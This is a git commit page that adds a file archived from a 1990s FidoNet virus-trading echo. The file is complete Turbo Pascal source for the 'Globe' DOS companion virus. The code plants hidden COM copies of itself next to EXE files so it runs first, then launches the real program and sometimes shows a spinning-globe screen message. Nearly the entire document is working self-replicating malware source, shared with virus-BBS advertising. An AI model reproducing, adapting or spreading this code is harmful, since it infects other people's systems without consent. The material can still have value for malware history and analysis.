Add files via upload

2026-06-16 15:59:24 +00:00 · 2021-01-12 18:04:54 -06:00
parent 3e7d2e8262
commit 6bf46a48b9
99 changed files with 46230 additions and 0 deletions
@@ -0,0 +1,138 @@
+{;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
+; Msg  : 1 of 59
+; From : MeteO                               2:5030/136      Tue 09 Nov 93 09:09
+; To   : -  *.*  -                                           Fri 11 Nov 94 08:10
+; Subj : GLOBE.C
+;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+;.RealName: Max Ivanov
+;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
+;* Kicked-up by MeteO (2:5030/136)
+;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
+;* From : Doug Bryce, 2:283/718 (06 Nov 94 16:07)
+;* To   : Viral Doctor
+;* Subj : GLOBE.C
+;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
+;@RFC-Path:
+;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
+;18.n283!not-for-mail
+;@RFC-Return-Receipt-To: Doug.Bryce@f718.n283.z2.fidonet.org}
+Program Worm;
+
+{$M 2048,0,4096}
+
+Uses Dos, Crt;
+
+Var      F1 : File;
+         F2 : File;
+         O : String;
+         Parm : String;
+         P : DirStr;
+         N : NameStr;
+         E : ExtStr;
+         Buf : Array[0..8000] of Byte;
+         NumRead : Word;
+         NumWritten : Word;
+         DirInfo : SearchRec;
+         ComExist : SearchRec;
+         Infect : Byte;
+
+Procedure StartOrigExe;
+Begin
+     O := ParamStr(0);
+     FSplit(O,P,N,E);
+     O := P+N+'.EXE';
+     P := '';
+     For NumRead := 1 To ParamCount Do
+         P := P + ParamStr(NumRead);
+     SwapVectors;
+     Exec(O,P);
+     SwapVectors;
+End;
+
+Procedure InfectExe;
+Begin
+FindFirst('*.EXE',Archive,DirInfo);
+While (DosError = 0) And (Infect <> 0) Do
+   Begin
+   FSplit(DirInfo.Name,P,N,E);
+   O := P+N+'.COM';
+   FindFirst(O,Hidden,ComExist);
+   If DosError <> 0 Then
+        Begin
+        Assign(F1,O);
+        Rewrite(F1,1);
+        BlockWrite(F1,buf,NumRead,NumWritten);
+        Close(F1);
+        SetFattr(F1,Hidden);
+        Dec(Infect);
+        End;
+   FindNext(DirInfo);
+   End;
+End;
+
+Procedure Activate;
+Var
+  T1,T2 : Integer;
+  I     : Real;
+  X , Y : Byte;
+  Resolution : Integer;
+
+Begin
+ClrScr;
+I := 0;
+T2 := 38;
+Randomize;
+Repeat
+Resolution := 50;
+For T1 := 0 to Resolution Do
+    Begin
+    X := Abs(40+Round(Sin(I)*T2));
+    Y := Abs(12-Round(Cos(I)*10));
+    GotoXY(X,Y);
+    Write('Û');
+    I := I + ((Pi*2)/Resolution);
+    End;
+    T2 := T2 - 1;
+    TextColor(Random(14)+1);
+Until T2 < 2;
+GotoXY(30,12);
+TextColor(White);
+Write('* The Globe Virus *');
+ Asm
+   Mov Ah,8
+   Int 21h
+ End;
+ClrScr;
+End;
+
+Begin
+  Infect := 3;
+   Randomize;
+   Assign(F2,ParamStr(0));
+   Reset(F2,1);
+   BlockRead(F2,buf,SizeOf(buf),NumRead);
+   Close(F2);
+     InfectExe;
+     StartOrigExe;
+     If Random(16) = 0 then Activate;
+     Halt(DosExitCode);
+End.
+
+;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+;  ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
+;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+;-+-  GoldED 2.50.B1016+
+; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718)
+;=============================================================================
+;
+;Yoo-hooo-oo, -!
+;
+;
+;    þ The MeÂeO
+;
+;/v            Include full symbolic debug information
+;
+;--- Aidstest Null: /Kill
+; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
+